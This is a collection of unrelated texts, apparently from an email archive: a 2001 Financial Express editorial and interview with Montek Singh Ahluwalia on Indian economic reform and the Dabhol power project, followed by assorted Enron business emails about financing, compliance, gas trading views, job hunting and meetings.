led `renegotiation' was widely perceived to have been an eyewash that allow=
ed everybody to save face but push the project through.=20

One year later, the only thing cleared by the first, 13-day Vajpayee govern=
ment in New Delhi was a counter guarantee for the project. Five years later=
, the same allegations are flying thick and fast. Given that, Godbole shoul=
d stick around to finish a job that needs to be done. The report of the com=
mittee headed by him points out serious flaws in the way the project was cl=
eared, in the terms that successive governments in Maharashtra and New Delh=
i agreed to and in project specifics. If this is correct, a handful of babu=
s, mantris and managers have been taking the Indian public for a ride and p=
rofiting at everybody else's expense.=20

That has to stop. The terms under which the project functions have to be re=
negotiated. Yes, there are serious problems with IPPs trying to sell power =
to bankrupt state utilities. Those problems have to be resolved by quick re=
forms. Meanwhile, there is no reason why India should put up with          =
                                 irregularities pointed out in the Godbole =
report. Investigations to probe mala fide intent among everyone involved in=
 clearing the project on the existing terms must  start now. Prosecution, c=
onviction or acquittal of those accused should follow. A democracy which bo=
asts about `rule of law' can do no less.
THE FINANCIAL EXPRESS, Friday, May 25, 2001,=20

Joining the Union ministry of finance as an economic advisor in 1980 after =
a decade at the World Bank,  Montek Singh Ahluwalia soon moved to the centr=
e stage of policy making. In 1985 he was inducted into  Prime Minister Raji=
v Gandhi's "Camelot" and began shaping policy, setting the stage for the ec=
onomic reforms introduced in 1991. Over the past two decades Dr Ahluwalia h=
as pushed economic liberalisation sometimes as a General on a battlefield, =
with his army of fellow travellers in different economic ministries, and so=
metimes like a guerrilla using unexpected opportunities to plant an idea in=
to a Prime Minister's mind. Through well thought out strategy and clever ta=
ctics, Dr Ahluwalia has left a mark on economic policy making in India. Aft=
er two decades in government he moves on to the International Monetary Fund=
 where he will head an independent evaluation office, evaluating the Fund's=
 policies, on a reported US$150,000 annual salary. Dr  Ahluwalia is not yet=
 calling it quits to policy making in India, but agreed to give an 'exit in=
terview' to The Financial Express.=20

You joined the government as an economic advisor in 1980 and have been clos=
ely associated with   economic policy making for two decades now. The India=
n economy had registered an annual average rate of growth of 3.5% between 1=
950 and 1980 and since 1980 it has recorded a 5.5% to 6.0% rate of growth. =
  Was this acceleration of growth built on the foundations of what had been=
 achieved in the first phase or would you take credit for your policies of =
economic liberalisation and trade openness in the second phase?=20

I certainly would not claim that the acceleration in growth was due to my b=
eing there! Individuals play a relatively small part in the larger scheme o=
f things. I have no doubt that the policy changes which began in the mid-19=
80s, but were really accelerated after 1991, are major factors explaining t=
he improved performance in the last two decades. In the 1980s, the governme=
nt recognised the limitations of the earlier control regime but changes wer=
e marginal. The controls remained in place but they were operated more flex=
ibly. The 1991 changes were much bolder. They were based on a clear recogni=
tion of the need for a system change. It was recognised that the economy wo=
uld benefit from much greater freedom and the unleashing of competition and=
 unshackling of entrepreneurial energy.

While 1991 did constitute a policy break, and there was an acceleration of =
growth in 1993-96, the long-term rate of growth of 1981-2001 has refused to=
 rise above 6.0%. So have the post-91 reforms failed to deliver higher grow=
th?

We had a sharp acceleration of growth in the mid-1990s with three years of =
7.5% growth in 1994-95 to   1996-97. Since then, it is true that growth has=
 slowed down. This deceleration is worrying and needs to be   reversed. I m=
ust mention however that although the average growth in the 1990s may not l=
ook much better  than in the 1980s, there is in fact a significant differen=
ce between the two decades. In the 1980s, growth was fuelled by an unsustai=
nable build-up of debt, internal and external. In the 1990s the external po=
sition has actually improved over the decade. We have a current account def=
icit which is quite modest in my view; if anything it is too small. In term=
s of debt service ratios, we are now in a very comfortable position. =20

 While the external profile of the economy has certainly improved in the 19=
90s, the internal fiscal profile is back where it was in the beginning of t=
he 1990s, and growth has slowed down.

That is undoubtedly a major source of weakness at present. There are many r=
espects in which the economy is stronger than at the beginning of the 1990s=
. Let me mention four. First, freeing up the economy from the   draconian a=
nd hugely inefficient external sector controls has contributed to efficienc=
y and created self-confidence in external economic management. We now know =
we don't need the extensive and highly   inefficient foreign exchange contr=
ols and import controls we had earlier to manage the economy. We would  nev=
er have developed an Infosys or a Wipro if we had not changed these externa=
l sector controls.=20

Second, the unleashing of competition in industry has strengthened Indian i=
ndustry. Industry circles often   show signs of nervousness and this is und=
erstandable given the nature of change, but by and large I would   say Indi=
an business is gearing itself up for competition. It may be a little too sl=
ow, but the process is   underway. Every industrialist may not survive in t=
he new competitive world, and this is an important cause of  nervousness, b=
ut the objective cannot be that every industrialist will do well- only that=
 Indian industry as a group will do well. I think that will happen with the=
 right policies.

Third, liberalisation of controls by the Centre has given the states new de=
grees of flexibility for attracting   investment both domestic and foreign.=
 Some of the states have done very well with growth rates comparable with t=
he best in the world. The negative side of course is that the weaker perfor=
ming states have seen a deterioration in their growth. However, there is no=
w a much greater realisation in these states that much of the problem lies =
with their internal policies and they must take steps to improve their perf=
ormance. Herein lies the real hope for higher growth for the country as a w=
hole in the future. We don't have to learn from other countries, which is m=
uch more difficult. We have to learn from our own better performing States.

Finally, we are doing very well in some of the new sectors as software and =
IT services. The total impact may be small at present, but it has high pote=
ntial (the present slowdown notwithstanding). More importantly, it shows ho=
w well we can compete when conditions are right and also the potential for =
new entrepreneurship.=20

Of course, the fiscal deficit remains a major problem. It is a first genera=
tion reform which has fallen by the  wayside. There was an improvement in t=
he first two years of the reform, but since then there has been a   steady =
deterioration. The fiscal situation in the states in particular has got muc=
h worse. Unless we complete
this first generation agenda, the second generation reforms may get deraile=
d.=20

  Why is this so?=20

On the expenditure side there has been a steady expansion in current expend=
iture at the expense of   investment. On the revenue side the tax ratio rem=
ains below the 1990 level. We have also not done enough to raise user charg=
es, either in the Centre or the states. The crisis in the power sector is a=
 good example. The SEBs as a group have losses of about Rs.25,000 crores pe=
r year. We have also not met disinvestment targets.

Would you say the political will to tackle this is lacking? Well, I am an o=
ptimist so I would like to put it differently. These are clearly difficult =
issues which can only be tackled over time. The major good news is that the=
re is much greater realisation in political circles today that the present =
path is non-sustainable. Six or seven years ago this realisation wasn't the=
re, certainly not at the state level. There was a tendency to think   that =
problems can be solved by the Centre giving more resources. Today, state ch=
ief ministers know that their fiscal problem cannot be solved by the Centre=
. Many states are even talking the language of fiscal reform and, even more=
 important, power sector reform. Of course, talking is not enough. If some =
states begin to move ahead, we will all begin to see light at the end of th=
e tunnel.

So it is state chief ministers who must now lead reform? You are not hopefu=
l that the centre will provide that leadership?

The Centre must certainly take parallel action in its area but I would not =
call this leadership. Each has a well defined agenda. The central side agen=
da has been clearly laid out in the report of the Prime Ministers Economic =
Advisory Council. These ideas have been there for ten years. You wrote a pa=
per which came to be referred to as the M-paper when Mr V P Singh was Prime=
 Minister. Ten years later we are saying the same things. That paper did po=
int in the direction where we have been going in this decade. It is not cor=
rect to say that there has been no action. What has been achieved in the la=
st ten years goes much beyond what was proposed in that paper which was aft=
er all only a 2-year agenda at the time. Policy today has certainly gone mu=
ch further which is good.

But that is largely on the external policy front and in industrial policy. =
Public finances are where they were. =20

That is indeed the area which is weakest. But, let us recognise some gains =
even on the fiscal front. We have made great progress in rationalising the =
tax system, by creating incentives for people to be more honest. Tax ratios=
 to GDP for personal and corporate taxation have improved though they are s=
till too low. The main reason why the tax ratio has not improved is that th=
e decline in customs revenue, which was to be expected, has not been matche=
d by an offsetting increase in revenues from excise duties. There is a grea=
t deal of leakage in this area. The absence of services in the tax net is a=
lso a major problem. We should really move to a modern integrated VAT, whic=
h is the least distortive form of indirect taxation. If we could move to a =
VAT covering goods and services we could generate additional revenues of tw=
o to three per cent of GDP. This has been the experience of many countries =
which have adopted an integrated VAT. However, that requires a Constitution=
al amendment. Pending that, we have to rationalise the excise duty structur=
e and integrate services taxation with goods in an expanded Cenvat. The Par=
thasarathy Shome Committee has made some new interesting  proposals in this=
 regard.

I am emphasising the changes needed on the revenue side because there is re=
ally no margin available to   reduce the total government expenditure to GD=
P ratio. On the expenditure side, what we need is a   restructuring of expe=
nditures, in which we reduce subsidies and wasteful current expenditures bu=
t use the   resources released to increase public investment in education, =
health care, roads (both highways and rural   roads) and other economic inf=
rastructure where the private sector will not invest. In short, total gover=
nment expenditure in India is not too high. The political support for cutti=
ng expenditure and downsizing the   bureaucracy can only come if this is se=
en as a redirection of expenditure to other more important uses. The improv=
ement in the fiscal balance must therefore come from the revenue side. We a=
re not mobilising as much as we should from existing rate structure and we =
are not doing enough to raise user charges for services provided by the gov=
ernment. Whether it is the railways or higher education, or power, or provi=
sion of municipal services, we must increase user charges so that these sys=
tems generate the revenues needed to ensure efficient supply.

If this does not happen, can the economy attain the eight per cent growth t=
hat the Draft Tenth Five Year plan would like to see in the next five years=
?

If we don't tackle the fiscal problem facing the government, we will not be=
 able to undertake essential public investment in social and economic infra=
structure. Interest rates will remain high which means private investment w=
ill also not take place and the growth we have targeted will definitely not=
 be possible. The Planning Commission has said this loud and clear in the A=
pproach document (10th Plan). The PM's Economic Advisory Council has said t=
he same thing.

I must emphasise that the recipe for high growth is not just public investm=
ent. Private investment is 70% of   total investment and high growth depend=
s crucially on private investment and its efficiency. Reforms must   contin=
ue if private enterprise is to do its bit. But, this growth process needs t=
o be underpinned by public   investment in crucial sectors of social and ec=
onomic infrastructure which depends on the fiscal health of the   governmen=
t.

Do you see economic growth getting stuck at the 5.5% to 6.0% of the past tw=
o decades and economic   policy getting stuck in political debates?=20

I certainly hope not, but that depends on whether our policies evolve in th=
e right direction. I remain hopeful  mainly because we have been able to mo=
ve forward in the past decade even if fitfully. Five years ago, we were deb=
ating insurance sector liberalisation. Now that is done with and over, and =
nobody worries about it. Even on privatisation, look at Balco. There were f=
undamentalist positions being taken, but the issue has been resolved. From =
the fact that something looks very difficult today, we should not conclude =
that nothing will happen. However, we must recognise that we cannot continu=
e with this slow pace of change. It is not enough to make progress compared=
 to the past. In a competitive world we have to benchmark against our compe=
titors and that is where progress is clearly not fast enough. I hope the Te=
nth Plan can be used as an opportunity to re-review the momentum on a core =
set of policy changes. If that is done, we should be able to reach 8.0% gro=
wth. Otherwise it will be difficult.

Are you worried that this year again we might slip on growth?

The economy is decelerating at present and the first two months of this (fi=
scal) year show no immediate sign of a turnaround. It is difficult to say w=
hether the situation will turn around in the rest of this year. The global =
slowdown will certainly hold back investment. However, short-term prospects=
 are not the only issue. The issue for us is to outline what we need to do =
to move on to a higher growth path of 8.0% or so over the next 5 years.

In your two decades in economic policy making what have been the most diffi=
cult challenges you have had to face?

The most difficult challenge was clearly getting out of the crisis of 1991.=
 It is difficult to imagine now how difficult the situation was then. The R=
BI was forced to restrict access to foreign exchange for exporters in order=
 to manage its low reserves position. By 1993, the entire crisis was behind=
 us. The critics of liberalisation, and there were many, predicted at the t=
ime that the policy of liberalising external controls would be an absolute =
disaster. I take some satisfaction that these critics were proved comprehen=
sively wrong. The policy initiatives were well grounded in both economic th=
eory and practice,  especially the experience of other countries and they w=
orked.

This suggests that if we are serious about change it is not necessary to wa=
it to generate political consensus which would ensure support from all quar=
ters. We have to look two years ahead and hope that people will come around=
 to supporting the reforms if they work. The experience of the last ten yea=
rs certainly tells us that while change is resisted when it is proposed- (a=
nd this is possibly even a good thing since it generates debate and shapes =
policy in a way that makes it acceptable to a wider constituency)-at the en=
d of the day, people accept sensible policies. The Press plays a major role=
 in persuading people. I must say that so far it
has generally backed sensible policies.

The policies of the last decade have been criticised for getting the sequen=
cing wrong. Indian industry has said that it was wrong to have done so much=
 on external liberalisation without doing enough on internal liberalisation=
. Is this fair criticism?=20

I don't think this is entirely fair. It is not true to say that domestic li=
beralisation was not bold. We got rid of industrial licensing and MRTP at o=
ne stroke. Indian industry was given the freedom to expand, upgrade   techn=
ology and access capital markets, even markets abroad. By contrast, the ope=
ning up on the external side was very slow. QRs were removed fully 10 years=
 after the reforms began and even today our tariffs are still the highest i=
n the world, three times higher than in south-east Asia. There is no eviden=
ce that Indian industry has been swamped by external competition. Had this =
been the case, you should have seen a huge increase in non-oil imports. On =
the contrary, in the last three years, non-oil imports have been totally sl=
uggish.

That is not to say that we have been able to do all we should to support do=
mestic industry. I think we should have moved faster with infrastructure re=
form especially power sector reform, to give Indian industry support on tha=
t front. Similarly, we should have moved faster to remove reservations from=
 the small-scale sector. If we have to compete with other developing countr=
ies, including China, we must get out of the present policy of  reservation=
 for the small-scale sector and allow the SSIs to expand to competitive sca=
les. However, if it is difficult to make all these changes at once, it does=
n't mean there should be no external liberalisation until everything on the=
 domestic side is done.

Were the first steps we took on power sector reforms wrong? I mean, did we =
make mistakes negotiating with Enron on the Dabhol Power project?=20

As you know, the Enron project is currently going through a process of re-n=
egotiation and I would not like to comment on it. It is a state government =
project which was negotiated by the state government, and then   re-negotia=
ted again by the state government. =20

But it is said the Union finance ministry at that time, and you were there,=
 had urged the speeding up of clearances and was keen on getting the projec=
t off the ground.

This is factually incorrect. The Finance Ministry was never concerned with =
speeding up or giving any project clearances for Enron. The only clearance =
Finance Ministry was directly involved in was the foreign investment cleara=
nce given by the FIPB where the Finance Ministry was represented. That clea=
rance only involves permission for foreign investment. All the other cleara=
nces are the responsibility of other agencies and the Finance Ministry was =
not involved in that process.

But you gave the counter-guarantee?

  Yes, the Finance Ministry gave the counter-guarantee. However, that was a=
 cabinet decision to give  counter-guarantee to 8 projects. The Dabhol PPA =
had already been tied up by then.

What lessons did you draw from the Enron experience?

I am not sufficiently familiar with the details of the Dabhol Project but I=
 would focus on two major lessons. First,  it is clear that the power tarif=
fs from the Dabhol Project have turned out to be much higher than the Gover=
nment of Maharashtra had anticipated. This definitely suggests the need for=
 greater due diligence on the part of State Governments before they lock th=
emselves into long-term power purchase contracts. It is particularly import=
ant to quantify likely risks arising out of possible variations in fuel pri=
ces and exchange rate changes.

Second, when a State Electricity Board contracts for purchase of power, it =
should have the capacity to absorb the power as well as pay for it. At the =
time when the DPC project was signed the State Government may have assumed =
that it would undertake the requisite reforms that were needed in the power=
 sector to enable the SEB to pay for the additional power. Since the reform=
s could not materialise the ability to pay is simply not there. The relevan=
t lesson for the future is that much needed and well-known reforms designed=
 to ensure current viability of the power system should not be delayed. Oth=
erwise it will be difficult to pay for power from new projects whether in t=
he private sector or the public sector.

So you agree that mistakes were made in power sector privatisation?

During the decade of 1990s, there has been a great deal of evolution in res=
tructuring of the electricity industry across the world. Even in some of th=
e developed countries, reliance was initially placed on long term purchase =
contracts that subsequently had to be re-negotiated and opened up to market=
 forces. Reforms in Orissa have been an important learning experience. I th=
ink it is important that we absorb the lessons of experience in different s=
tates and make sure that policies for the future avoid some of the problems=
 that have arisen not only in India but in many other countries also.

Another issue that you grappled with in the finance ministry where it is be=
lieved your perceptions were different from that of some others was the que=
stion of India going nuclear and the likely impact of sanctions on the Indi=
an economy. With hindsight would you say your concerns were exaggerated?=20

I don't think our assessment of the situation was wrong. Our assessment at =
the time of the 1998 tests, was   that there would be a negative reaction o=
n aid flows in the short run, but there will be no impact on the trade  fro=
nt except in the form of restrictions on export to India of certain sensiti=
ve items. Over the medium run, the economic impact of the tests on the econ=
omy as a whole would depend primarily on the quality of economic management=
 and the progress of economic reform. We were consistently of the view that=
 the long-term economic performance of the economy ought to depend more on =
trade and private capital flows rather than official aid flows. India's acc=
ess to international capital flows depends entirely on how private capital =
markets view us, and that is a function of our economic policies, and econo=
mic performance. That is more or less what  happened.

Your policies have not really helped attract foreign investment into India =
in a big way. Why?=20

We have seen an increase in foreign investment but not huge flows of FDI co=
ming into India, like in China.  However that was never really expected. Pe=
rsonally I think we should be satisfied if we can double or treble existing=
 levels of FDI flows within the next five years. For this to happen, the ma=
in steps needed are to improve the performance of infrastructure in certain=
 critical areas. Central Government policy towards FDI is not the constrain=
t. There are some sectoral caps in some sectors (mainly telecommunications,=
 civil aviation, insurance and banking) but there are no restrictions elsew=
here. If we can create an environment in which it is perceived that India's=
 infrastructure constraints are being overcome and adequate investment is b=
eing made in power, roads, railways, telecommunications, etc, then foreign =
investors will look at India much more positively as an investment destinat=
ion.=20

As someone who is now going to Washington DC to evaluate the International =
Monetary Fund, how do you view the severe criticism the Fund has attracted =
after its handling of the Asian financial crisis, the Russian economy and e=
conomic crises elsewhere, including in India.

The Fund's programmes in East Asia have been widely criticised and the Fund=
 management has also   recognised that some mistakes were made in East Asia=
. However, it should be recognised that the East   Asian crisis, like the M=
exican crisis before it, was very different from traditional external payme=
nts crises the Fund was used to handling. These crises reflect the extreme =
vulnerability of developing countries to a sudden loss of confidence in a w=
orld where capital has become highly mobile, at least for countries which a=
dopt capital account convertibility. The name of the game in such cases is =
not so much to provide some funds IMF but more generally to take action tha=
t will restore confidence of private markets in the quickest possible way. =
It is clear that the IMF programmes did not succeed in restoring confidence=
 very quickly. How far the problem was due to the Funds policies and how mu=
ch it reflected the basic uncontrollability of such crises in the short run=
, is difficult to say. In retrospect it is important to mention that perfor=
mance in different countries has been difficult. In Korea, for instance, th=
e recovery has been was remarkable, much better than projected by the origi=
nal critics. Indonesia on the other hand remains mired in difficulties. In =
Brazil, the situation appears to have been well handled.

The Fund is now fully aware of the fact that its conditionality must be tai=
lored to the specific circumstances of each case. You mentioned our experie=
nce with the Fund and I should point out that it has been very positive. We=
 entered into a programme with the Fund which was fully our own, and reflec=
ted a genuine internal consensus on the need to give a new direction to our=
 policies. The crisis was overcome more quickly than was predicted. We drew=
 less from the Fund than was initially expected and our post-programme grow=
th rate was very high. So, we should have no complaint. The Fund would have=
 no problems if all its programmes were like the India programme!

You have now spent two decades in government offering policy advice. Has th=
e quality of economic policy making improved in India in this period or wor=
sened?

The quality of debate on economic policy has hugely improved. The economic =
press, the interaction between government and industry, the public debate h=
ave all improved.

Your assignment with the Fund is for four years. So is it the end of the ro=
ad for you as far as government of India is concerned or will you be willin=
g to return home if a future government were to ask you to come
back?

I certainly don't view this as a permanent exit. I didn't apply for the job=
 but when it came up I felt it was a  challenge. After 22 years of continuo=
us service in the Government of India a bit of a change is not a bad idea.

Just to give you a "heads-up" we are preparing a request for proposal for 
lead managers on a NBP debt financing.  The financing plan is for a $150 
million term debt facility to payoff existing MLP bank debt and a $150 
million bank revolver (which would be undrawn) to provide greater financial 
flexibility in the future.  Although we haven't determined the list of 
bidders a key objective is to provide additional fee income to those banks 
willing to commit their balance sheets when needed (i.e. commercial banks) to 
strengthen our position for future acquisition financing.  We will send you a 
copy of the RFP and a list of recommended bidders mid next week.  We would 
anticipate sending this out late next week.

A meeting was held with the third party attorney who is providing assistance 
with the recently issued NOV for the P-1 C/S over a like for like turbine 
exchange which occurred in 1996.  A history was given of the incidents which 
led up to the NOV being issued and results of the meeting which Transwestern 
had with the AQB in 1996 which lead Transwestern to believe that issue had 
been resolved.  

The calendar year 2000 PCB annual document logs were prepared and submitted 
to each generator of PCBs on the Transwestern system.

Training was given to the Midland Region over the correct completion and 
submittal of forms used to report natural gas releases  to the TNRCC.  The 
agency has updated and has become more stringent with respect to Regional 
requirements for the reportable releases which are submitted to them.  An 
incomplete form submittal by a compressor station facility near MIdland led 
to this emergency training being given.  Based upon a phone call with Region 
7 of the TNRCC, the agency stated that they will be issuing NOV's to 
facilities that submit incomplete "Upset/Maintenance NOtification Forms for 
Reportable Events".  

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 10/18/2000 
01:05 PM ---------------------------

"Julie" <julie@lacima.co.uk> on 10/17/2000 10:20:03 AM
To: <Fiona.Grant@enron.com>
cc: "VinceJKaminski" <Vince.J.Kaminski@enron.com> 
Subject: Fw: more energy amends

Fiona,
?
Please find attached a brochure for the advertisement of the  book.? It's 
similar to the other material we sent, so I'm assuming it will  need the same 
modifications.? Please pass along all the modifications as  soon as 
possible.? Receiving the changes from Enron is the?only thing  holding up the 
printing of the book.? Please let us know if there is  anything that you need 
from us.
?
?
Julie
?
Lacima Group
 - LRES ENERG DER A4 FLYER 2.pdf

I do not have an EZ tag.

	Parking & Transportation@ENRON
	Sent by: DeShonda Hamilton@ENRON
	04/03/2001 09:31 AM
		 
		 To: John Letvin/Enron@EnronXGate, Eric Thode/Corp/Enron@ENRON, Becky 
Young/NA/Enron@Enron, Bob Hillier/Enron@enronXgate, Steve 
Hardy/Enron@EnronXGate, Michelle Cash/HOU/ECT@ECT, Vincent 
Fox/Enron@EnronXGate, Christopher Ducker/Enron@EnronXGate, Tana 
Jones/HOU/ECT@ECT, Andrew Hawthorn/Enron@EnronXGate, Eric Moon/HOU/ECT@ECT, 
Sheri Thomas/HOU/ECT@ECT, Frank W Vickers/NA/Enron@Enron, Joya Williams/Enron 
Communications@Enron Communications, Stephanie Miller/Corp/Enron@ENRON, 
Stacey W White/HOU/ECT@ECT, Bryan Powell/Enron@EnronXGate, Kevin M 
Presto/HOU/ECT@ECT, Dale Neuner/HOU/ECT@ECT, Fran L Mayes/Enron@EnronXGate, 
Lisa Yarbrough/Enron@EnronXGate, Michael L Miller/NA/Enron@Enron, Laynie 
East/Enron@EnronXGate, Larry Valderrama/Enron@EnronXGate, Jeremy 
Wong/Enron@EnronXGate, Ned Higgins/HOU/ECT@ECT
		 cc: Louis Allen/EPSC/HOU/ECT@ECT
		 Subject: EZ Tags

Please provide us with your EZ-tag no. so that we can program it to work in 
the new garage, ASAP.

---------------------- Forwarded by Bryan Hull/HOU/ECT on 12/05/2000 10:48 AM 

"Sharon Hull" <hullkron@bellsouth.net> on 12/05/2000 10:46:32 AM
Please respond to "Sharon Hull" <hullkron@bellsouth.net>
To: "david pere" <rcpere@acadiacom.net>, "gwen kizorek" 
<gkizorek@rtcind.com>, "Ronda Jenkins" <rondaj@hotmail.com>, 
<Hunterkron@aol.com>, "ron hull" <ronknee014@juno.com>, "Bryan Hull" 
<bryan.hull@enron.com>, "Mary Cooney" <mpbc51@hotmail.com>, "Albert C Boyd" 
<acboyd@bellsouth.net>, "keith bird" <kbirds@bellsouth.net>
cc:  
Subject: Fw: See This!

From: s <skiles@bellsouth.net>
To: allison <alskiles@yahoo.com>; <andrea2343@aol.com>; barbara
<auntbee@cs.com>; Beverly Stavley <bstavley@ak.net>; deana
<DSkiles975@aol.com>; frank <franklin.skiles@columbia.net>; frank
<oltimindud@aol.com>; frank & bridget <fbskiles@bellsouth.net>; jo
<jskiles2@grics.net>; Kenny B. <kbrandt@sanasys.com>; lynn
<LNunez1557@aol.com>; mary <QCreole48@aol.com>; mary <Hunterkron@aol.com>;
meghan rannow <nutmegn@yahoo.com>; michael rannow <moto_miker@yahoo.com>;
Rhonda Rannow <rhondaquilts@yahoo.com>; Ryan  Nunez <nryan11996@yahoo.com>;
Sharon Hull <hullkron@bellsouth.net>; Tara Nunez <taranunez@hotmail.com>;
Lisa Brown <shelby6596@msn.com>
Sent: Monday, December 04, 2000 10:27 PM
Subject: See This!

> http://www.dovewinds.com/dubya/alshokeypokey.html
>
>

Done.

DG

From: Patrick Mulvany/ENRON@enronXgate on 05/09/2001 10:35 AM
cc:  
Subject: Frank Ermis' trades

Darron,

I have two trades from yesterday that have a few problems.  

V83030.1:  shows a term of Nov02-Mar03.  The broker is saying that is should 
be Nov02-Dec02.

V83656.1:  Counterparty name should be BANKAMENAT.

I know that you are covering for Carole, so thank you for your time.

Patrick    X53877

confused... what are you disagreeing with me in regards to demand destruction?

From: Jennifer Fraser/ENRON@enronXgate on 03/07/2001 08:55 AM
cc:  
Subject: rebuttal

I am definitely a bigger fan of the crude complex for the next few months. 
Agree the defcon 5 bubble has burst for natgas. Disagree about the demand 
destruction. 
? I think some demand is just permanently gone ( i.3. cheaper BTUs in ASIA- 
Pacific and plants just wont run here anymore). But I think that we are 
underestimating the structural changes in energy demand. Just as the economy 
is less dependent on heavy industry for its health, energy demand is 
changing. Since just about everyone missed the boat on the increased power 
demand as a result of  Silicon Valley, I think we don't have a good handle on 
what the drivers of the new power generation really are.So what i'm saying 
is  that industrial demand will weaken, demand in service based industries 
will increase. Also energy is a much smaller component of the cost structure 
in service industries.
? Also I think in 2000, people had sticker shock-- they couldn't have 
imagined 10$ gas, but now that volatility and higher prices are firmly 
entrenched in their minds --- they will find ways of running their factories. 
Also they will  budget for these prices instead of $2.50
? See NG Week (3/5/01) Nevada power price hikes affecting casinos --- 
increases of 20%. When asked the implication for missed earnings and their 
plans for demand conservation, one casino official replied 'We're in the 
bright lights business'
? I don't believe the economic doom and gloom
 First of all no one wants a repeat of the 1990 recession ( which was much 
worse outside of the US) Every central bank in the G7 has or will cut rates 
this week. The US will follow suit or it will have a very expensive dollar 
which will blow exports. With all of the monetary slack, consumer credit will 
not tighten and thus buying will continue ( witness the lack of destruction 
in big ticket items purchasing). Heavy manufacturing is contracting but this 
is not everything. Productivity gains are strong. The economy is becoming 
more service based and traditional industrial barometers are not telling the 
whole story.
? Finally, I am London and it is not doom and gloom over here.

well there's my 2 cents.

Jen Fraser

Sent: Wednesday, March 07, 2001 2:31 PM

i think jv strip prices to where we price out enough demand to get to 2.8.  
whther that price level is 425 or 725 is arguable.  i think it's close to 
here.  but when we get to november and we have 2.8 and don;'t repeat the 
weather of this past winter and we have 2.5 bcf more supply and people 
realize that we have 2.3 bcf to withdraw before there are any 
problems...bombs away.  

From: Jennifer Fraser/ENRON@enronXgate on 03/07/2001 01:00 AM
cc:  

Why do you think nov mar is worth $3.75? 
Also whats your schedule looking like next week----care to meet for a 
beverage?

Jen Fraser

cc:  
Subject: 

ap-oct
nov-mar
02
03

 thanks
Jen Fraser

I've thought about you a few times in the last few months, didn't want
to intrude upon an already bad situation with my bullshit questions.
I'm hearing some pretty depressing stuff from the people I know at ENE.
 
I wish I had the capital to open my own shop.there will be talent and
opportunity a plenty on the market soon.  I'll ask around.I've got some
friends at Duke and Dynegy from B-school, the Gianoucous (spelling??)
brothers (John and Dimitri.from elementary school) started their own
outfit a while back, and my old man is at Schlumberger and has good
contacts in general (if you aren't married to a trading environment).
 
Give me a few days, and I'll be in touch.
 
Michael
 
From: Cuilla, Martin [mailto:Martin.Cuilla@ENRON.com] 
Sent: Monday, November 26, 2001 2:42 PM
To: Mike Contant (E-mail)
Subject: will work for food
 
you guys have any job opening for ex natural gas traders that made their
now almost defunctc ompany over 40 million in the last two years?  not
sure how much longer ene is going to be around and i'm checking out my
options!

This e-mail is the property of Enron Corp. and/or its relevant affiliate
and may contain confidential and privileged material for the sole use of
the intended recipient (s). Any review, use, distribution or disclosure
by others is strictly prohibited. If you are not the intended recipient
(or authorized to receive for the recipient), please contact the sender
or reply to Enron Corp. at enron.messaging.administration@enron.com and
delete all copies of the message. This e-mail (and any attachments
hereto) are not intended to be an offer (or an acceptance) and do not
create or evidence a binding and enforceable contract between Enron
Corp. (or any of its affiliates) and the intended recipient or any other
party, and may not be relied on by anyone as the basis of a contract by
estoppel or otherwise. Thank you. 

Can we start this meeting later?  We will be trading until 10:30.  Since Greg 
McClendon is out of the office, Carey Metz is trading basis for him.  Because 
Carey is doing that, Stacey is needed to trade Waha.  And she is my backup on 
managing our position.  So, I need to be on the desk during trading.

Daren

	From:  Yvette G Connevey @ ENRON                           01/31/2000 04:32 PM
	
To: Steve Venturatos/HOU/ECT@ECT, Mary M Smith/HOU/ECT@ECT, Rita 
Wynne/HOU/ECT@ECT, Lisa Csikos/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT, Pat 
Clynes/Corp/Enron@ENRON, Lisa B Cousino/HOU/ECT@ECT
cc: Ragayle Pellum/HOU/ECT@ECT, Pamela Chambers/Corp/Enron@Enron, Brenda F 
Herod/HOU/ECT@ECT 
Subject: Review Texas Budgets Meeting

Please plan to attend a Texas Budget Meeting this Friday, February 4th, from 
9:00 - 10:00 am in 37C1.

If you have any questions please call. 

Thank You!
Yvette
x3.5953

calendar
---------------------- Forwarded by Steven J Kean/NA/Enron on 04/20/2001 
03:00 PM ---------------------------

Kelly Johnson
04/20/2001 09:47 AM
To: Steven J Kean/NA/Enron@Enron, Mary Joyce/Enron@EnronXGate
cc: Maureen McVicker/NA/Enron@Enron, Teresa Wright/Enron@EnronXGate 

Subject: Special Comp Committee Meeting Notice - May 1st

Attached is a notice of special meeting of the Compensation and Management 
Development Committee on May 1st at 3:00 p.m. until 5:00 p.m. This meeting is 
addition to the April 30th meeting.

Start Date: 1/23/02; HourAhead hour: 11;  HourAhead schedule download failed. Manual intervention required.

Jim:  The last sentence was changed to "we expect you to perform".   Mark

From: 	Smith, Mike D.  
Sent:	Friday, December 21, 2001 2:10 PM
To:	Haedicke, Mark E.; Delaney, David; Dietrich, Janet; Leff, Dan
Cc:	Sharp, Vicki
Subject:	Customer letter

Here is the letter we discussed.  MDS

[Haedicke, Mark E.]  Fall 

The Meet & Confer will be meetings and teleconfs held simultaneously at the three utilities' offices. The plan is that I am going over to the meeting at PG&E along with Jeanne Bennett and Dian Grueneich (who represents UC/CSU). AReM's attorney will be at the SCE meeting.  AReM has put together a proposal for implementing the suspension (attached) -- that has been sent to all the parties.  I think we have New West under control.  New West will be at the SCE meeting. Jeff plans to listen in. 

Sent:	Monday, October 29, 2001 6:04 AM
To:	Dasovich, Jeff; Mara, Susan; Tribolet, Michael; Mellencamp, Lisa; Curry, Wanda; Williams, Robert C.; Mike Day (E-mail)
Cc:	Shapiro, Richard; Sanders, Richard B.; Sharp, Vicki
Subject:	Proposed SCE Negotiation Strategy

Following last week's meeting, here is my recommendation on how to proceed with SCE.

1.	Form Enron Negotiation Team

	My recommendation is to use the same team we used with PG&E + Jeff Dasovich.  My understanding was that Lisa M. was the lead negotiator - I would not change this.  Jeff should only be there to make introductions.

2.	Meet & Confer (10/29)

	Sue Mara and Jeff Dasovich will listen and report back to everyone on what happens.  

3.	Reformed Stipulation

	I would propose that we take a wait and see approach to this document.  Based on Dasovich's idea to get together with SCE on Thursday, maybe let this ride.

4.	Meeting

	My understanding is that (Jeff D. please correct) SCE can meet with us this Thursday.  Can everyone make it that needs to be there?  Probably meet in California.  We should put the laundry list on the table.

Please let me know what else we need to discuss or if anyone disagrees.

Thanks,

Jim

What's the status?

   Kate Symes @ ECT                04/10/2001 06:29 PM

cc:  

Subject: Re: deal 577823  

